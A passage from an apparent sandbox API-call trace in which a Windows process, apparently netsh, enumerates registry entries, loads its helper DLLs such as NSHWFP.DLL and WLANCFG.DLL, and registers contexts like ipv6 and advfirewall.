(hModule=0x7ffcb6b90000, lpProcName="InitHelperDll") returned 0x7ffcb6b910e0 [0136.013] InitHelperDll () returned 0x0 [0136.013] RegisterHelper () returned 0x0 [0136.013] GetProcessHeap () returned 0x2b436220000 [0136.013] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x9a0) returned 0x2b436266140 [0136.013] GetProcessHeap () returned 0x2b436220000 [0136.013] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362657f0) returned 1 [0136.013] RegEnumValueW (in: hKey=0xb4, dwIndex=0xa, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="nshipsec", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.013] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5 [0136.014] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5 [0136.014] GetProcessHeap () returned 0x2b436220000 [0136.014] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1e0) returned 0x2b43623abc0 [0136.014] GetProcessHeap () returned 0x2b436220000 [0136.014] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b4362545b0 [0136.014] GetProcessHeap () returned 0x2b436220000 [0136.014] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b436252160 [0136.014] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL" [0136.014] GetProcessHeap () returned 0x2b436220000 [0136.014] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43624f3d0) returned 1 [0136.014] LoadLibraryExW (lpLibFileName="NSHIPSEC.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca7980000 [0136.035] GetProcAddress (hModule=0x7ffca7980000, lpProcName="InitHelperDll") returned 0x7ffca7981250 [0136.035] InitHelperDll () returned 0x0 [0136.035] RegisterHelper () returned 0x0 [0136.035] GetProcessHeap () returned 0x2b436220000 [0136.035] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x9f8) returned 0x2b436269d30 [0136.035] GetProcessHeap () returned 0x2b436220000 [0136.035] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436266140) returned 1 [0136.036] RegisterHelper () returned 0x0 [0136.036] GetProcessHeap () returned 0x2b436220000 [0136.036] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xa50) returned 0x2b4362657f0 [0136.036] GetProcessHeap () returned 0x2b436220000 [0136.036] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.036] RegisterHelper () returned 0x0 [0136.036] GetProcessHeap () returned 0x2b436220000 [0136.036] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xaa8) returned 0x2b436269d30 [0136.036] GetProcessHeap () returned 0x2b436220000 [0136.036] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362657f0) returned 1 [0136.040] RegEnumValueW (in: hKey=0xb4, dwIndex=0xb, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="nshwfp", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.040] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0136.040] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0136.040] GetProcessHeap () returned 0x2b436220000 [0136.040] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x208) returned 0x2b436266800 [0136.040] GetProcessHeap () returned 0x2b436220000 [0136.040] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe) returned 0x2b4362540d0 [0136.040] GetProcessHeap () returned 0x2b436220000 [0136.040] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x16) returned 0x2b4362540f0 [0136.040] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0136.040] GetProcessHeap () returned 0x2b436220000 [0136.040] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43623abc0) returned 1 [0136.041] LoadLibraryExW (lpLibFileName="NSHWFP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca40f0000 [0136.046] GetProcAddress (hModule=0x7ffca40f0000, lpProcName="InitHelperDll") returned 0x7ffca40f10d0 [0136.046] InitHelperDll () returned 0x0 [0136.046] RegisterHelper () returned 0x0 [0136.046] GetProcessHeap () returned 0x2b436220000 [0136.046] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xb00) returned 0x2b43626c6e0 [0136.046] GetProcessHeap () returned 0x2b436220000 [0136.047] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.047] RegEnumValueW (in: hKey=0xb4, dwIndex=0xc, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="p2pnetsh", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.047] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7 [0136.047] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7 [0136.047] GetProcessHeap () returned 0x2b436220000 [0136.047] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x230) returned 0x2b4362528f0 [0136.047] GetProcessHeap () returned 0x2b436220000 [0136.047] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b4362542f0 [0136.047] GetProcessHeap () returned 0x2b436220000 [0136.047] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b43626c2b0 [0136.047] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL" [0136.047] GetProcessHeap () returned 0x2b436220000 [0136.047] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436266800) returned 1 [0136.047] LoadLibraryExW (lpLibFileName="P2PNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca40b0000 [0136.055] GetProcAddress (hModule=0x7ffca40b0000, lpProcName="InitHelperDll") returned 0x7ffca40b11e0 [0136.055] InitHelperDll () returned 0x0 [0136.055] RegisterHelper () returned 0x0 [0136.055] GetProcessHeap () returned 0x2b436220000 [0136.055] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xb58) returned 0x2b436269d30 [0136.055] GetProcessHeap () returned 0x2b436220000 [0136.055] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626c6e0) returned 1 [0136.055] RegisterHelper () returned 0x0 [0136.055] GetProcessHeap () returned 0x2b436220000 [0136.055] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xbb0) returned 0x2b43626f200 [0136.055] GetProcessHeap () returned 0x2b436220000 [0136.055] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.055] RegisterHelper () returned 0x0 [0136.055] GetProcessHeap () returned 0x2b436220000 [0136.055] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc08) returned 0x2b436269d30 [0136.055] GetProcessHeap () returned 0x2b436220000 [0136.055] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626f200) returned 1 [0136.055] RegisterHelper () returned 0x0 [0136.055] GetProcessHeap () returned 0x2b436220000 [0136.055] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc60) returned 0x2b43626f200 [0136.056] GetProcessHeap () returned 0x2b436220000 [0136.056] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.057] RegisterHelper () returned 0x0 [0136.057] GetProcessHeap () returned 0x2b436220000 [0136.057] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xcb8) returned 0x2b436269d30 [0136.057] GetProcessHeap () returned 0x2b436220000 [0136.057] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626f200) returned 1 [0136.057] RegisterHelper () returned 0x0 [0136.057] GetProcessHeap () returned 0x2b436220000 [0136.057] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xd10) returned 0x2b43626f200 [0136.057] GetProcessHeap () returned 0x2b436220000 [0136.057] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.057] RegisterHelper () returned 0x0 [0136.057] GetProcessHeap () returned 0x2b436220000 [0136.057] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xd68) returned 0x2b43626ff20 [0136.057] GetProcessHeap () returned 0x2b436220000 [0136.057] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626f200) returned 1 [0136.059] RegisterHelper () returned 0x0 [0136.059] GetProcessHeap () returned 0x2b436220000 [0136.059] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xdc0) returned 0x2b436269d30 [0136.059] GetProcessHeap () returned 0x2b436220000 [0136.059] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626ff20) returned 1 [0136.059] RegEnumValueW (in: hKey=0xb4, dwIndex=0xd, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="rpc", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.059] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9 [0136.059] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9 [0136.059] GetProcessHeap () returned 0x2b436220000 [0136.059] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x258) returned 0x2b43626ab00 [0136.059] GetProcessHeap () returned 0x2b436220000 [0136.059] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x8) returned 0x2b43622db20 [0136.059] GetProcessHeap () returned 0x2b436220000 [0136.059] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x16) returned 0x2b436254570 [0136.059] _wcsupr (in: _String="rpcnsh.dll" | out: _String="RPCNSH.DLL") returned="RPCNSH.DLL" [0136.059] GetProcessHeap () returned 0x2b436220000 [0136.059] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362528f0) returned 1 [0136.059] LoadLibraryExW (lpLibFileName="RPCNSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb5a60000 [0136.063] GetProcAddress (hModule=0x7ffcb5a60000, lpProcName="InitHelperDll") returned 0x7ffcb5a61010 [0136.063] InitHelperDll () returned 0x0 [0136.063] RegisterHelper () returned 0x0 [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe18) returned 0x2b43626f200 [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.063] RegisterHelper () returned 0x0 [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe70) returned 0x2b436270020 [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626f200) returned 1 [0136.063] RegEnumValueW (in: hKey=0xb4, dwIndex=0xe, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="WcnNetsh", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.063] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14 [0136.063] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14 [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x280) returned 0x2b4362528f0 [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436254410 [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b43626c370 [0136.063] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL" [0136.063] GetProcessHeap () returned 0x2b436220000 [0136.063] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626ab00) returned 1 [0136.063] LoadLibraryExW (lpLibFileName="WCNNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb4740000 [0136.079] GetProcAddress (hModule=0x7ffcb4740000, lpProcName="InitHelperDll") returned 0x7ffcb4741680 [0136.079] InitHelperDll () returned 0x0 [0136.080] RegisterHelper () returned 0x0 [0136.080] GetProcessHeap () returned 0x2b436220000 [0136.080] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xec8) returned 0x2b436269d30 [0136.080] GetProcessHeap () returned 0x2b436220000 [0136.080] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270020) returned 1 [0136.080] RegEnumValueW (in: hKey=0xb4, dwIndex=0xf, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="whhelper", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.080] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14 [0136.080] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14 [0136.080] GetProcessHeap () returned 0x2b436220000 [0136.080] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x2a8) returned 0x2b43626c6e0 [0136.080] GetProcessHeap () returned 0x2b436220000 [0136.080] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b4362545d0 [0136.080] GetProcessHeap () returned 0x2b436220000 [0136.080] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b43626c100 [0136.080] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL" [0136.080] GetProcessHeap () returned 0x2b436220000 [0136.080] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362528f0) returned 1 [0136.080] LoadLibraryExW (lpLibFileName="WHHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb19e0000 [0136.088] GetProcAddress (hModule=0x7ffcb19e0000, lpProcName="InitHelperDll") returned 0x7ffcb19e14d0 [0136.088] InitHelperDll () returned 0x0 [0136.088] RegisterHelper () returned 0x0 [0136.088] GetProcessHeap () returned 0x2b436220000 [0136.088] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xf20) returned 0x2b436270210 [0136.088] GetProcessHeap () returned 0x2b436220000 [0136.088] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.088] RegEnumValueW (in: hKey=0xb4, dwIndex=0x10, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="wlancfg", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.088] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14 [0136.088] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14 [0136.088] GetProcessHeap () returned 0x2b436220000 [0136.088] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x2d0) returned 0x2b43626c990 [0136.088] GetProcessHeap () returned 0x2b436220000 [0136.088] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362546b0 [0136.088] GetProcessHeap () returned 0x2b436220000 [0136.088] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436254630 [0136.088] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL" [0136.088] GetProcessHeap () returned 0x2b436220000 [0136.088] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626c6e0) returned 1 [0136.088] LoadLibraryExW (lpLibFileName="WLANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca4020000 [0136.112] GetProcAddress (hModule=0x7ffca4020000, lpProcName="InitHelperDll") returned 0x7ffca4021320 [0136.112] InitHelperDll () returned 0x0 [0136.112] RegisterHelper () returned 0x0 [0136.112] GetProcessHeap () returned 0x2b436220000 [0136.112] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xf78) returned 0x2b436269d30 [0136.113] GetProcessHeap () returned 0x2b436220000 [0136.113] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270210) returned 1 [0136.113] RegEnumValueW (in: hKey=0xb4, dwIndex=0x11, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="wshelper", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.113] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14 [0136.113] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14 [0136.113] GetProcessHeap () returned 0x2b436220000 [0136.113] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x2f8) returned 0x2b43626cc70 [0136.113] GetProcessHeap () returned 0x2b436220000 [0136.113] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436254110 [0136.113] GetProcessHeap () returned 0x2b436220000 [0136.113] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b436271910 [0136.113] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL" [0136.113] GetProcessHeap () returned 0x2b436220000 [0136.113] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626c990) returned 1 [0136.113] LoadLibraryExW (lpLibFileName="WSHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb13c0000 [0136.116] GetProcAddress (hModule=0x7ffcb13c0000, lpProcName="InitHelperDll") returned 0x7ffcb13c1030 [0136.116] InitHelperDll () returned 0x0 [0136.116] RegisterHelper () returned 0x0 [0136.116] GetProcessHeap () returned 0x2b436220000 [0136.116] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xfd0) returned 0x2b436273960 [0136.116] GetProcessHeap () returned 0x2b436220000 [0136.116] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436269d30) returned 1 [0136.116] RegEnumValueW (in: hKey=0xb4, dwIndex=0x12, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="wwancfg", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.116] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14 [0136.117] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14 [0136.117] GetProcessHeap () returned 0x2b436220000 [0136.117] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x320) returned 0x2b43626c6e0 [0136.117] GetProcessHeap () returned 0x2b436220000 [0136.117] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362543b0 [0136.117] GetProcessHeap () returned 0x2b436220000 [0136.117] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270560 [0136.117] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL" [0136.117] GetProcessHeap () returned 0x2b436220000 [0136.117] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626cc70) returned 1 [0136.117] LoadLibraryExW (lpLibFileName="WWANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca7500000 [0136.124] GetProcAddress (hModule=0x7ffca7500000, lpProcName="InitHelperDll") returned 0x7ffca75011d0 [0136.124] InitHelperDll () returned 0x0 [0136.124] RegisterHelper () returned 0x0 [0136.124] GetProcessHeap () returned 0x2b436220000 [0136.124] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1028) returned 0x2b436274d50 [0136.125] GetProcessHeap () returned 0x2b436220000 [0136.125] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436273960) returned 1 [0136.125] RegEnumValueW (in: hKey=0xb4, dwIndex=0x13, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="peerdistsh", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0136.125] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxmontr.dll") returned 7 [0136.125] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxpromn.dll") returned 7 [0136.125] GetProcessHeap () returned 0x2b436220000 [0136.125] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x348) returned 0x2b43626ca10 [0136.125] GetProcessHeap () returned 0x2b436220000 [0136.125] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x16) returned 0x2b4362707a0 [0136.125] GetProcessHeap () returned 0x2b436220000 [0136.125] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1e) returned 0x2b4362713a0 [0136.125] _wcsupr (in: _String="peerdistsh.dll" | out: _String="PEERDISTSH.DLL") returned="PEERDISTSH.DLL" [0136.125] GetProcessHeap () returned 0x2b436220000 [0136.125] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626c6e0) returned 1 [0136.125] LoadLibraryExW (lpLibFileName="PEERDISTSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca3f20000 [0136.130] GetProcAddress (hModule=0x7ffca3f20000, lpProcName="InitHelperDll") returned 0x7ffca3f21220 [0136.130] InitHelperDll () returned 0x0 [0136.130] RegisterHelper () returned 0x0 [0136.130] GetProcessHeap () returned 0x2b436220000 [0136.130] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1080) returned 0x2b436275d80 [0136.130] GetProcessHeap () returned 0x2b436220000 [0136.130] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274d50) returned 1 [0136.130] RegisterHelper () returned 0x0 [0136.130] GetProcessHeap () returned 0x2b436220000 [0136.131] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10d8) returned 0x2b436276e10 [0136.131] GetProcessHeap () returned 0x2b436220000 [0136.131] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436275d80) returned 1 [0136.131] RegCloseKey (hKey=0xb4) returned 0x0 [0136.131] GetProcessHeap () returned 0x2b436220000 [0136.131] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436231240) returned 1 [0136.131] GetProcessHeap () returned 0x2b436220000 [0136.131] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436228620) returned 1 [0136.132] GetProcessHeap () returned 0x2b436220000 [0136.132] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436224ab0 [0136.132] GetProcessHeap () returned 0x2b436220000 [0136.132] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.132] RegisterContext () returned 0x0 [0136.132] GetProcessHeap () returned 0x2b436220000 [0136.132] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b4362247e0 [0136.132] GetProcessHeap () returned 0x2b436220000 [0136.132] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.132] RegisterContext () returned 0x0 [0136.134] _wcsicmp (_String1="ras", _String2="interface") returned 9 [0136.134] _wcsicmp (_String1="ras", _String2="interface") returned 9 [0136.134] GetProcessHeap () returned 0x2b436220000 [0136.134] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436265a20 [0136.134] GetProcessHeap () returned 0x2b436220000 [0136.134] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362247e0) returned 1 [0136.142] RegisterContext () returned 0x0 [0136.143] GetProcessHeap () returned 0x2b436220000 [0136.143] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436271050 [0136.143] GetProcessHeap () returned 0x2b436220000 [0136.143] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.143] RegisterContext () returned 0x0 [0136.143] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0136.143] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0136.143] GetProcessHeap () returned 0x2b436220000 [0136.143] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436265cf0 [0136.143] GetProcessHeap () returned 0x2b436220000 [0136.143] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436271050) returned 1 [0136.143] RegisterContext () returned 0x0 [0136.144] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0136.144] _wcsicmp (_String1="aaaa", _String2="ipv6") returned -8 [0136.144] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0136.144] GetProcessHeap () returned 0x2b436220000 [0136.144] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x150) returned 0x2b43626cf70 [0136.144] GetProcessHeap () returned 0x2b436220000 [0136.144] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436265cf0) returned 1 [0136.144] RegisterContext () returned 0x0 [0136.145] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3 [0136.145] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5 [0136.145] _wcsicmp (_String1="diagnostics", _String2="ipv6") returned -5 [0136.145] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3 [0136.145] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5 [0136.145] GetProcessHeap () returned 0x2b436220000 [0136.145] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1c0) returned 0x2b436273960 [0136.145] GetProcessHeap () returned 0x2b436220000 [0136.145] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626cf70) returned 1 [0136.145] RegisterContext () returned 0x0 [0136.145] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8 [0136.145] _wcsicmp (_String1="advfirewall", _String2="ras") returned -17 [0136.145] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8 [0136.145] GetProcessHeap () returned 0x2b436220000 [0136.145] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x150) returned 0x2b43626cf70 [0136.145] GetProcessHeap () returned 0x2b436220000 [0136.145] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436265a20) returned 1 [0136.145] RegisterContext () returned 0x0 [0136.145] GetProcessHeap () returned 0x2b436220000 [0136.145] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436271050 [0136.145] GetProcessHeap () returned 